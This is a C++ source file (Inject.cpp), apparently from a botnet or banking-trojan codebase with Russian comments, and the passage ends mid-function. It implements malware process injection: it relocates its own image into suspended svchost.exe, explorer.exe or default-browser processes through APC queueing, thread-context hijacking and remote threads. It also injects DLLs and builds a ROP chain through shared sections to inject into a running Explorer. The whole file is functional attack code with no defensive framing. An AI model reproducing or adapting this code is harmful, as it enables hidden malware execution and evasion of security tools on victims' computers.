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Inject.cpp
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Inject.cpp
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#include <windows.h>
#include <shlobj.h>
#include <tlhelp32.h>
#include "GetApi.h"
#include "Memory.h"
#include "Strings.h"
#include "Utils.h"
#include "ntdll.h"
#include "Inject.h"
#include "zdisasm.h"
#include "BotDebug.h"
#define MakePtr( cast, ptr, addValue ) (cast)( (DWORD_PTR)(ptr) + (DWORD_PTR)(addValue))
#define MakeDelta(cast, x, y) (cast) ( (DWORD_PTR)(x) - (DWORD_PTR)(y))
DWORD dwNewBase = 0;
DWORD GetImageBase2()
{
DWORD dwRet = 0;
/* __asm
{
call getbase
getbase:
pop eax
and eax, 0ffff0000h
find:
cmp word ptr [ eax ], 0x5a4d
je end
sub eax, 00010000h
jmp find
end:
mov [dwRet], eax
} */
return dwRet;
}
void PerformRebase( LPVOID lpAddress, DWORD dwNewBase )
{
PIMAGE_DOS_HEADER pDH = (PIMAGE_DOS_HEADER)lpAddress;
if ( pDH->e_magic != IMAGE_DOS_SIGNATURE )
{
return;
}
PIMAGE_NT_HEADERS pPE = (PIMAGE_NT_HEADERS) ((char *)pDH + pDH->e_lfanew);
if ( pPE->Signature != IMAGE_NT_SIGNATURE )
{
return;
}
DWORD dwDelta = dwNewBase - pPE->OptionalHeader.ImageBase;
DWORD dwVa = pPE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
DWORD dwCb = pPE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
PIMAGE_BASE_RELOCATION pBR = MakePtr( PIMAGE_BASE_RELOCATION, lpAddress, dwVa );
UINT c = 0;
while ( c < dwCb )
{
c += pBR->SizeOfBlock;
int RelocCount = (pBR->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
LPVOID lpvBase = MakePtr(LPVOID, lpAddress, pBR->VirtualAddress);
WORD *areloc = MakePtr(LPWORD, pBR, sizeof(IMAGE_BASE_RELOCATION));
for ( int i = 0; i < RelocCount; i++ )
{
int type = areloc[i] >> 12;
if ( !type )
{
continue;
}
if ( type != 3 )
{
return;
}
int ofs = areloc[i] & 0x0fff;
DWORD *pReloc = MakePtr( DWORD *, lpvBase, ofs );
if ( *pReloc - pPE->OptionalHeader.ImageBase > pPE->OptionalHeader.SizeOfImage )
{
return;
}
*pReloc += dwDelta;
}
pBR = MakePtr( PIMAGE_BASE_RELOCATION, pBR, pBR->SizeOfBlock );
}
pPE->OptionalHeader.ImageBase = dwNewBase;
return;
}
typedef struct
{
WORD Offset:12;
WORD Type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
void ProcessRelocs( PIMAGE_BASE_RELOCATION Relocs, DWORD ImageBase, DWORD Delta, DWORD RelocSize )
{
PIMAGE_BASE_RELOCATION Reloc = Relocs;
while ( (DWORD)Reloc - (DWORD)Relocs < RelocSize )
{
if ( !Reloc->SizeOfBlock )
{
break;
}
PIMAGE_FIXUP_ENTRY Fixup = (PIMAGE_FIXUP_ENTRY)((ULONG)Reloc + sizeof(IMAGE_BASE_RELOCATION));
for ( ULONG r = 0; r < (Reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) >> 1; r++ )
{
DWORD dwPointerRva = Reloc->VirtualAddress + Fixup->Offset;
if ( Fixup->Type == IMAGE_REL_BASED_HIGHLOW )
{
*(PULONG)((ULONG)ImageBase + dwPointerRva) += Delta;
}
Fixup++;
}
Reloc = (PIMAGE_BASE_RELOCATION)( (ULONG)Reloc + Reloc->SizeOfBlock );
}
return;
}
DWORD InjectCode( HANDLE hProcess, LPTHREAD_START_ROUTINE lpStartProc )
{
HMODULE hModule = (HMODULE)GetImageBase(lpStartProc);
PIMAGE_DOS_HEADER pDH = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS pPE = (PIMAGE_NT_HEADERS) ((LPSTR)pDH + pDH->e_lfanew);
DWORD dwSize = pPE->OptionalHeader.SizeOfImage;
LPVOID lpNewAddr = MemAlloc( dwSize );
if ( lpNewAddr == NULL )
{
return -1;
}
m_memcpy( lpNewAddr, hModule, dwSize );
LPVOID lpNewModule = NULL;
DWORD dwAddr = -1;
HMODULE hNewModule = NULL;
if ( (NTSTATUS)pZwAllocateVirtualMemory( hProcess, &lpNewModule, 0, &dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ) == STATUS_SUCCESS )
{
hNewModule = (HMODULE)lpNewModule;
ULONG RelRVA = pPE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
ULONG RelSize = pPE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
ProcessRelocs( (PIMAGE_BASE_RELOCATION)( (DWORD)hModule + RelRVA ), (DWORD)lpNewAddr, (DWORD)hNewModule - (DWORD)hModule, RelSize );
dwNewBase = (DWORD)hNewModule;
if ( (NTSTATUS)pZwWriteVirtualMemory( hProcess, hNewModule, lpNewAddr, dwSize, NULL ) == STATUS_SUCCESS )
{
dwAddr = (DWORD)lpStartProc - (DWORD)hModule + (DWORD)hNewModule;
}
}
DWORD dwOldProtect = 0;
pZwProtectVirtualMemory( hProcess, (PVOID*)&hNewModule, &dwSize, PAGE_EXECUTE_READWRITE, &dwOldProtect );
MemFree( lpNewAddr );
return dwAddr;
}
//---------------------------------------------------
// Функция инжектит образ в указанный процесс
//---------------------------------------------------
bool InjectCode2( HANDLE hProcess, HANDLE hThread, TInjectFunction f_Main)
{
DWORD dwBase = (DWORD)GetImageBase(f_Main);
DWORD dwSize = ((PIMAGE_OPTIONAL_HEADER)((LPVOID)((BYTE *)(dwBase) + ((PIMAGE_DOS_HEADER)(dwBase))->e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER))))->SizeOfImage;
HANDLE hMap = pCreateFileMappingA( (HANDLE)-1, NULL, PAGE_EXECUTE_READWRITE, 0, dwSize, NULL );
LPVOID lpView = pMapViewOfFile( hMap, FILE_MAP_WRITE, 0, 0, 0 );
if ( lpView == NULL )
{
return false;
}
m_memcpy( lpView, (LPVOID)dwBase, dwSize );
DWORD dwViewSize = 0;
DWORD dwNewBaseAddr = 0;
bool Result = false;
NTSTATUS Status = (NTSTATUS)pZwMapViewOfSection( hMap, hProcess, (PVOID*)&dwNewBaseAddr, 0, dwSize, NULL, &dwViewSize, (SECTION_INHERIT)1, 0, PAGE_EXECUTE_READWRITE );
if ( Status == STATUS_SUCCESS )
{
PIMAGE_DOS_HEADER dHeader = (PIMAGE_DOS_HEADER)dwBase;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)RVATOVA(dwBase, dHeader->e_lfanew);
ULONG RelRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
ULONG RelSize = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
ProcessRelocs( (PIMAGE_BASE_RELOCATION)( (LPBYTE)dwBase + RelRVA ), (DWORD)lpView, dwNewBaseAddr - dwBase, RelSize );
DWORD dwAddr = (DWORD)f_Main - dwBase + dwNewBaseAddr;
Status = (NTSTATUS)pZwQueueApcThread( hThread, (PKNORMAL_ROUTINE)dwAddr, NULL, NULL, NULL );
if (Status == STATUS_SUCCESS)
{
Status = (NTSTATUS)pZwResumeThread( (DWORD)hThread, NULL );
Result = (Status == STATUS_SUCCESS);
}
else
{
pTerminateThread( hThread, 0 );
}
}
pUnmapViewOfFile( lpView );
pCloseHandle( hMap );
return Result;
}
bool InjectCode3( HANDLE hProcess, HANDLE hThread, DWORD (WINAPI f_Main)(LPVOID) )
{
DWORD dwAddr = InjectCode( hProcess, f_Main );
if ( dwAddr != -1 )
{
CONTEXT Context;
m_memset( &Context, 0, sizeof( CONTEXT ) );
Context.ContextFlags = CONTEXT_INTEGER;
Context.Eax = dwAddr;
DWORD dwBytes = 0;
pWriteProcessMemory( hProcess,(LPVOID)( Context.Ebx + 8 ), &dwNewBase, 4, &dwBytes );
pZwSetContextThread( hThread, &Context );
pZwResumeThread( (DWORD)hThread, NULL );
}
return true;
}
//
bool InjectCode4( HANDLE hProcess, DWORD (WINAPI f_Main)(LPVOID) )
{
DWORD dwBase = (DWORD)GetImageBase(f_Main);
DWORD dwSize = ((PIMAGE_OPTIONAL_HEADER)((LPVOID)((BYTE *)(dwBase) + ((PIMAGE_DOS_HEADER)(dwBase))->e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER))))->SizeOfImage;
HANDLE hMap = pCreateFileMappingA( (HANDLE)-1, NULL, PAGE_EXECUTE_READWRITE, 0, dwSize, NULL );
LPVOID lpView = pMapViewOfFile( hMap, FILE_MAP_WRITE, 0, 0, 0 );
if ( lpView == NULL )
{
return false;
}
m_memcpy( lpView, (LPVOID)dwBase, dwSize );
DWORD dwViewSize = 0;
DWORD dwNewBaseAddr = 0;
bool Result = false;
NTSTATUS Status = (NTSTATUS)pZwMapViewOfSection( hMap, hProcess, (PVOID*)&dwNewBaseAddr, 0, dwSize, NULL, &dwViewSize, (SECTION_INHERIT)1, 0, PAGE_EXECUTE_READWRITE );
if ( Status == STATUS_SUCCESS )
{
PIMAGE_DOS_HEADER dHeader = (PIMAGE_DOS_HEADER)dwBase;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)RVATOVA(dwBase, dHeader->e_lfanew);
ULONG RelRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
ULONG RelSize = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
ProcessRelocs( (PIMAGE_BASE_RELOCATION)( dwBase + RelRVA ), (DWORD)lpView, dwNewBaseAddr - dwBase, RelSize );
DWORD dwAddr = (DWORD)f_Main - dwBase + dwNewBaseAddr;
//pZwResumeThread( hThread, NULL );
DWORD id;
if (pCreateRemoteThread(hProcess, NULL,0,(LPTHREAD_START_ROUTINE)dwAddr,NULL,0,&id) )
Result = true;
}
pUnmapViewOfFile( lpView );
pCloseHandle( hMap );
return Result;
}
bool CreateSvchost( PHANDLE hProcess, PHANDLE hThread )
{
WCHAR Svchost[] = {'s','v','c','h','o','s','t','.','e','x','e',0};
WCHAR Args[] = {'-','k',' ','n','e','t','s','v','c','s',0};
WCHAR *SysPath = (WCHAR*)MemAlloc( 512 );
if ( !SysPath )
{
return false;
}
pGetSystemDirectoryW( SysPath, 512 );
plstrcatW( SysPath, L"\\" );
plstrcatW( SysPath, Svchost );
PROCESS_INFORMATION pi;
STARTUPINFOW si;
m_memset( &si, 0, sizeof( STARTUPINFOW ) );
si.cb = sizeof( STARTUPINFOW );
bool ret = false;
if( (BOOL)pCreateProcessW( SysPath, Args, 0, 0, TRUE, CREATE_SUSPENDED, 0, 0, &si, &pi ) )
{
*hProcess = pi.hProcess;
*hThread = pi.hThread;
ret = true;
}
MemFree( SysPath );
return ret;
}
bool CreateExplorer( PHANDLE hProcess, PHANDLE hThread )
{
WCHAR Explorer[] = {'e','x','p','l','o','r','e','r','.','e','x','e',0};
WCHAR *SysPath = (WCHAR*)MemAlloc( 512 );
if ( SysPath == NULL )
{
return false;
}
pGetWindowsDirectoryW( SysPath, 512 );
plstrcatW( SysPath, L"\\" );
plstrcatW( SysPath, Explorer );
HANDLE hTmpProcess = NULL;
HANDLE hTmpThread = NULL;
bool ret = RunFileEx( SysPath, CREATE_SUSPENDED, &hTmpProcess, &hTmpThread );
if ( ret )
{
*hProcess = hTmpProcess;
*hThread = hTmpThread;
}
MemFree(SysPath);
return ret;
}
//-------------------------------------------------------
// Функция возвращает путь к браузеру по умолчанию
//-------------------------------------------------------
wstring GetDefaultBrowserPath()
{
// Создаём HTML файл
wstring HTMLFile = GetSpecialFolderPathW(CSIDL_APPDATA, L"index.html");
File::WriteBufferW(HTMLFile.t_str(), NULL, 0);
// Получаем имя файла
wstring FileName(MAX_PATH);
if (pFindExecutableW(HTMLFile.t_str(), NULL, FileName.t_str()))
FileName.CalcLength();
else
FileName.Clear();
// Удаляем временный файл
pDeleteFileW(HTMLFile.t_str());
return FileName;
}
bool CreateDefaultBrowser( PHANDLE hProcess, PHANDLE hThread )
{
PROCESS_INFORMATION pi;
STARTUPINFOW si;
m_memset( &si, 0, sizeof( STARTUPINFOW ) );
si.cb = sizeof( STARTUPINFOW );
wstring BrowserPath = GetDefaultBrowserPath();
if (BrowserPath.IsEmpty())
return false;
if(pCreateProcessW(BrowserPath.t_str(), NULL, 0, 0, TRUE, CREATE_SUSPENDED, 0, 0, &si, &pi ) )
{
*hProcess = pi.hProcess;
*hThread = pi.hThread;
return true;
}
return false;
}
bool JmpToBrowserSelf( DWORD (WINAPI f_Main)(LPVOID) )
{
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
if ( CreateDefaultBrowser( &hProcess, &hThread ) )
{
if ( InjectCode2( hProcess, hThread, f_Main ) )
{
return true;
}
else
{
pTerminateThread( hThread, 0 );
}
}
return false;
}
bool JmpToSvchostSelf( DWORD (WINAPI f_Main)(LPVOID) )
{
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
if ( CreateSvchost( &hProcess, &hThread ) )
{
if ( InjectCode2( hProcess, hThread, f_Main ) )
return true;
else
pTerminateThread( hThread, 0 );
}
return false;
}
bool TwiceJumpSelf( DWORD (WINAPI f_Main)(LPVOID) )
{
if ( !JmpToSvchostSelf( f_Main ) )
{
if ( !JmpToBrowserSelf( f_Main ) )
{
return false;
}
}
return true;
}
bool JmpToBrowser( DWORD (WINAPI f_Main)(LPVOID) )
{
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
if ( CreateDefaultBrowser( &hProcess, &hThread ) )
{
if ( InjectCode3( hProcess, hThread, f_Main ) )
{
return true;
}
else
{
pTerminateThread( hThread, 0 );
}
}
return false;
}
bool JmpToSvchost( DWORD (WINAPI f_Main)(LPVOID) )
{
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
bool bRet = false;
if ( CreateSvchost( &hProcess, &hThread ) )
{
if ( InjectCode3( hProcess, hThread, f_Main ) )
{
return true;
}
else
{
pTerminateThread( hThread, 0 );
}
}
return false;
}
bool TwiceJump( DWORD (WINAPI f_Main)(LPVOID) )
{
if ( !JmpToSvchost( f_Main ) )
{
if ( !JmpToBrowser( f_Main ) )
{
return false;
}
}
return true;
}
//---------------------------------------------------
// MegaJump - Функция создаёт процесс svchost.exe и
// осуществляет инжект в него
//---------------------------------------------------
BOOL WINAPI MegaJump(TInjectFunction f_Main)
{
if ( !TwiceJumpSelf( f_Main ) )
{
if ( !TwiceJump( f_Main ) )
{
return FALSE;
}
}
return TRUE;
}
//---------------------------------------------------
// JmpToExplorer - Функция запускает копию
// эксплорера и инжектится в него
//---------------------------------------------------
BOOL WINAPI JmpToExplorer(TInjectFunction f_Main)
{
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
BOOL Result = FALSE;
if (CreateExplorer( &hProcess, &hThread))
{
Result = InjectCode2(hProcess, hThread, f_Main);
if (!Result)
pTerminateThread( hThread, 0 );
}
return Result;
}
bool InjectIntoProcess( DWORD pid, TInjectFunction func)
{
OBJECT_ATTRIBUTES ObjectAttributes = { sizeof(ObjectAttributes) } ;
CLIENT_ID ClientID;
ClientID.UniqueProcess = (HANDLE)pid;
ClientID.UniqueThread = 0;
HANDLE hProcess;
if ( pZwOpenProcess( &hProcess, PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, &ObjectAttributes, &ClientID ) != STATUS_SUCCESS )
{
return false;
}
DWORD dwAddr = InjectCode( hProcess, func );
bool ret = false;
if ( dwAddr != -1 )
{
LPVOID Thread = pCreateRemoteThread( hProcess, 0, 0, (LPTHREAD_START_ROUTINE)dwAddr, NULL, 0, 0 );
ret = Thread != NULL;
}
pZwClose(hProcess);
return ret;
}
bool InjectIntoProcess2( DWORD pid, DWORD (WINAPI *func)(LPVOID) )
{
OBJECT_ATTRIBUTES ObjectAttributes = { sizeof(ObjectAttributes) } ;
CLIENT_ID ClientID;
ClientID.UniqueProcess = (HANDLE)pid;
ClientID.UniqueThread = 0;
DWORD Flags = PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION;
HANDLE Process = (HANDLE)pOpenProcess(Flags, FALSE, pid);
// HANDLE hProcess;
// if ( pZwOpenProcess(&hProcess, Flags, &ObjectAttributes, &ClientID ) != STATUS_SUCCESS )
// return false;
bool Result = InjectCode4(Process, func);
CloseHandle(Process);
return Result;
}
//---------------------------------------------------
// InjecIntoProcessByName
// Функция запускает процесс с именем AppName и
// инжектится в него
//---------------------------------------------------
BOOL WINAPI InjecIntoProcessByNameA(const char* AppName, const char* CmdLine, TInjectFunction Function)
{
if (STRA::IsEmpty(AppName) || !Function)
return FALSE;
PROCESS_INFORMATION pi;
STARTUPINFOA si;
ClearStruct(si);
si.cb = sizeof(si);
if(!pCreateProcessA(AppName, CmdLine, 0, 0, TRUE, CREATE_SUSPENDED, 0, 0, &si, &pi ))
return FALSE;
return InjectCode2(pi.hProcess, pi.hThread, Function);
}
//---------------------------------------------------
// InjectIntoExplorer - Функция инжектит образ
// в запущенный экземпляр
// эксплорера
//---------------------------------------------------
BOOL WINAPI InjectIntoExplorer(TInjectFunction f_Main)
{
if( !NewInject::InjectExplore32(f_Main) )
{
DWORD Pid = GetExplorerPid();
if (!Pid) return FALSE;
return InjectIntoProcess(Pid, f_Main );
}
return TRUE;
}
bool InjectDll( WCHAR *DllPath )
{
if ( pGetFileAttributesW( DllPath ) )
{
HANDLE hProcess;
HANDLE hThread;
if ( !CreateSvchost( &hProcess, &hThread ) )
{
if ( !CreateDefaultBrowser( &hProcess, &hThread ) )
{
return false;
}
}
DWORD dwWritten;
LPVOID lpStringLoc = pVirtualAllocEx( hProcess, 0, m_wcslen( DllPath ) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE );
if ( !(BOOL)pWriteProcessMemory( hProcess, lpStringLoc, DllPath, m_wcslen( DllPath ) + 1, &dwWritten ) )
{
return false;
}
pCreateRemoteThread( hProcess, 0, 0, (LPTHREAD_START_ROUTINE)GetProcAddressEx( NULL, 1, 0xC8AC8030 ), lpStringLoc, 0, 0 );
}
return true;
}
namespace NewInject
{
#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
#define RtlOffsetToPointer(B,O) ((PCHAR)(((PCHAR)(B)) + ((ULONG_PTR)(O))))
struct PARAM_DATA
{
PVOID func;
PVOID imageBase;
};
struct CODE_DATA
{
BOOL (WINAPI *_CloseHandle)(HANDLE hObject);
LPVOID (WINAPI *_MapViewOfFile)(HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap);
HANDLE (WINAPI *_OpenFileMappingA)(DWORD dwDesiredAccess, BOOL bInheritHandle, char* lpName);
HANDLE (WINAPI *_CreateThread)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, PVOID lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
LONG (WINAPI *_SetWindowLongA)(HWND hWnd, int nIndex, LONG dwNewLong);
void (WINAPI *_OutputDebugStringA)( char* lpOutputString );
BOOLEAN injectFlag;
HWND wnd;
LONG oldLong;
PVOID injectNormalRoutine;
PARAM_DATA param;
char sectionName[32];
char temp[3];
};
struct INJECT32_DATA
{
DWORD ropCode[32];
DWORD newLongVTable[8];
CODE_DATA codeData;
CHAR injectCode[0x100];
};
static VOID __declspec(naked) Inject32Start( CODE_DATA* data )
{
__asm mov ebp, esp
if (!data->injectFlag)
{
data->injectFlag = TRUE;
HANDLE map;
if( map = data->_OpenFileMappingA( FILE_MAP_ALL_ACCESS | FILE_MAP_EXECUTE, FALSE, data->sectionName ))
{
PVOID mapping;
if( mapping = data->_MapViewOfFile( map, FILE_MAP_ALL_ACCESS | FILE_MAP_EXECUTE, 0, 0, 0 ) )
{
data->param.imageBase = mapping;
data->_CreateThread( NULL, 0, RtlOffsetToPointer( mapping, data->injectNormalRoutine ), &data->param, 0, NULL );
}
data->_CloseHandle(map);
}
}
data->_SetWindowLongA( data->wnd, 0, data->oldLong );
__asm
{
xor eax, eax
add esp, 0x54
pop ebp
ret 0x10
}
}
static VOID __declspec(naked) Inject32End()
{
}
//#pragma optimize("", on)
PVOID GetKiUserApcDispatcherProc()
{
BYTE* procAddress = (BYTE*)pGetProcAddress( pGetModuleHandleA("ntdll.dll"), "KiUserApcDispatcher" );
BYTE* address = procAddress;
DWORD i = 0;
while( *(BYTE*)address != 0x58 && *(WORD*)address != 0x7C8D && *(BYTE*)((DWORD)address + 2) != 0x24)
{
DWORD len;
i++;
GetInstLenght( (DWORD*)address, &len );
address += len;
if( i >= 0x14 ) return procAddress;
}
return address;
}
DWORD CompareMemoryAndRead( HANDLE process, PVOID remoteAddress, SIZE_T remoteSize, PVOID memory, SIZE_T size)
{
BYTE* local;
DWORD rva = 0;
SIZE_T t;
if( local = (BYTE*)pVirtualAlloc( NULL, remoteSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ) )
{
if( pReadProcessMemory( process, remoteAddress, local, remoteSize, &t ) )
{
BYTE* addr = (BYTE*)m_memmem( local, remoteSize, memory, size );
if( addr )
rva = addr - local;
}
pVirtualFree( local, 0, MEM_RELEASE );
}
return rva;
}
PVOID FindCodeInProcessCode( HANDLE process, PVOID memory, SIZE_T size)
{
PVOID ret = NULL;
HMODULE *mods = (HMODULE*)HEAP::Alloc(0x410);
DWORD needed;
if( mods )
{
if( pEnumProcessModules( process, mods, 0x410, &needed ) )
{
PVOID buffer = HEAP::Alloc(0x400);
if( buffer )
{
for( DWORD i = 0; i < (needed / sizeof(HMODULE)); i++ )
{
SIZE_T t;
if( pReadProcessMemory( process, mods[i], buffer, 0x400, &t ) )
{
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)pRtlImageNtHeader(buffer);
if( ntHeaders )
{
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
for( WORD c = 0; c < ntHeaders->FileHeader.NumberOfSections; c++ )
{
if( !plstrcmpiA( (PCHAR)section[c].Name, ".text" ) )
{
PVOID baseAddress = RtlOffsetToPointer( (PVOID)mods[i], (PVOID)section[c].VirtualAddress );
DWORD rva = CompareMemoryAndRead( process, baseAddress, section[c].Misc.VirtualSize, memory, size );
if( rva )
ret = RtlOffsetToPointer( baseAddress, rva );
break;
}
}
}
}
if( ret ) break;
}
HEAP::Free(buffer);
}
}
HEAP::Free(mods);
}
return ret;
}
PVOID FindCodeInProcess( HANDLE process, PVOID memory, SIZE_T size )
{
PVOID address = NULL;
MEMORY_BASIC_INFORMATION info;
DWORD rva;
while( pVirtualQueryEx( process, address, &info, sizeof(info) ) )
{
if( rva = CompareMemoryAndRead( process, address, info.RegionSize, memory, size ) )
return RtlOffsetToPointer( info.AllocationBase, rva );
address = RtlOffsetToPointer( address, info.RegionSize);
}
return NULL;
}
bool Explore32CreateSH( INJECT32_DATA* ourMapInjectData, HANDLE process, INJECT32_DATA* remoteAddress, DWORD sizeOfShellCode)
{
UCHAR firstSign[] = {0xB9, 0x94, 0x00, 0x00, 0x00, 0xF3, 0xA5, 0x5F, 0x33, 0xC0, 0x5E, 0x5D, 0xC2, 0x08, 0x00};
UCHAR cldRetBytes[] = {0xFD, 0xC3};
UCHAR stdRetBytes[] = {0xFC, 0xC3};
UCHAR retBytes[] = {0x58, 0xC3};
UCHAR jmpEaxBytes[] = {0xFF, 0xE0};
ourMapInjectData->newLongVTable[0] = (DWORD)&remoteAddress->newLongVTable[5];
ourMapInjectData->newLongVTable[5] = (DWORD)GetKiUserApcDispatcherProc();
ourMapInjectData->newLongVTable[7] = (DWORD)FindCodeInProcessCode( process, cldRetBytes, sizeof(cldRetBytes) );
ourMapInjectData->newLongVTable[6] = (DWORD)FindCodeInProcessCode( process, firstSign, sizeof(firstSign) );
for( DWORD i = 0; i < 32; i++ ) ourMapInjectData->ropCode[i] = i;
ourMapInjectData->ropCode[25] = (DWORD)FindCodeInProcessCode( process, stdRetBytes, sizeof(stdRetBytes) );
ourMapInjectData->ropCode[28] = (DWORD)FindCodeInProcessCode( process, retBytes, sizeof(retBytes) );
ourMapInjectData->ropCode[29] = 0x70;
HANDLE ntdll = pGetModuleHandleA("ntdll.dll");
HANDLE kernel32 = pGetModuleHandleA("kernel32.dll");
ourMapInjectData->ropCode[30] = (DWORD)pGetProcAddress( ntdll, "_chkstk" );
ourMapInjectData->ropCode[31] = (DWORD)pGetProcAddress( kernel32, "WriteProcessMemory" );
ourMapInjectData->ropCode[5] = (DWORD)NtCurrentProcess();
ourMapInjectData->ropCode[6] = (DWORD)pGetProcAddress( ntdll, "atan" );
ourMapInjectData->ropCode[7] = (DWORD)&remoteAddress->injectCode[0];
ourMapInjectData->ropCode[8] = sizeOfShellCode;
ourMapInjectData->ropCode[9] = (DWORD)&remoteAddress->ropCode[12];
ourMapInjectData->ropCode[10] = ourMapInjectData->ropCode[6]; // eax = atan
ourMapInjectData->ropCode[4] = ourMapInjectData->ropCode[28]; // pop eax, ret
ourMapInjectData->ropCode[11] = (DWORD)FindCodeInProcessCode( process, jmpEaxBytes, sizeof(jmpEaxBytes) );
ourMapInjectData->ropCode[14] = (DWORD)&remoteAddress->codeData;
return true;
}
NTSTATUS OpenAndMapSection( PHANDLE phSection, PWCHAR nameSection, PVOID *address )
{
UNICODE_STRING usNameSection;
pRtlInitUnicodeString( &usNameSection, nameSection );
OBJECT_ATTRIBUTES objAttr;
//InitializeObjectAttributes( &objAttr, &usNameSection, OBJ_OPENIF, 0, 0 );
objAttr.uLength = sizeof(OBJECT_ATTRIBUTES);
objAttr.hRootDirectory = 0;
objAttr.uAttributes = OBJ_OPENIF;
objAttr.pObjectName = &usNameSection;
objAttr.pSecurityDescriptor = 0;
objAttr.pSecurityQualityOfService = 0;
NTSTATUS st = (NTSTATUS)pNtOpenSection( phSection, SECTION_MAP_READ | SECTION_MAP_WRITE, &objAttr );
if( NT_SUCCESS(st) )
{
ULONG_PTR size = 0;
st = (NTSTATUS)pNtMapViewOfSection( *phSection, NtCurrentProcess(), address, 0, 0, NULL, &size, ViewUnmap, 0, PAGE_READWRITE);
if( !NT_SUCCESS(st) ) pNtClose(*phSection);
}
return st;
}
bool OpenSectionForInject(PHANDLE phSection, PVOID *address, ULONG *size)
{
PWCHAR sections[] = {
L"\\BaseNamedObjects\\ShimSharedMemory",
L"\\BaseNamedObjects\\windows_shell_global_counters",
L"\\BaseNamedObjects\\MSCTF.Shared.SFM.MIH",
L"\\BaseNamedObjects\\MSCTF.Shared.SFM.AMF",
L"\\BaseNamedObjects\\UrlZonesSM_Administrator",
L"\\BaseNamedObjects\\UrlZonesSM_SYSTEM",
0
};
for( int i = 0; sections[i]; i++ )
{
if( NT_SUCCESS( OpenAndMapSection( phSection, sections[i], address ) ) )
{
MEMORY_BASIC_INFORMATION info;
pVirtualQuery( *address, &info, sizeof(info) );
*size = info.RegionSize;
return true;
}
}
return false;
}
INJECT32_DATA* InjectExplore32CreateSH( DWORD pid, INJECT32_DATA* ourMapInjectData, DWORD sizeOfShellCodeWithData, DWORD sizeOfShellCode )
{
INJECT32_DATA *ret = NULL, *remoteAddress = NULL;
//DWORD pid = GetExplorerPid();
if( pid )
{
HANDLE process = pOpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid );
if( process != INVALID_HANDLE_VALUE )
{
if( remoteAddress = (INJECT32_DATA*)FindCodeInProcess( process, ourMapInjectData, sizeOfShellCodeWithData ) )
{
if( Explore32CreateSH( ourMapInjectData, process, remoteAddress, sizeOfShellCode ) )
{
ret = remoteAddress;
}
}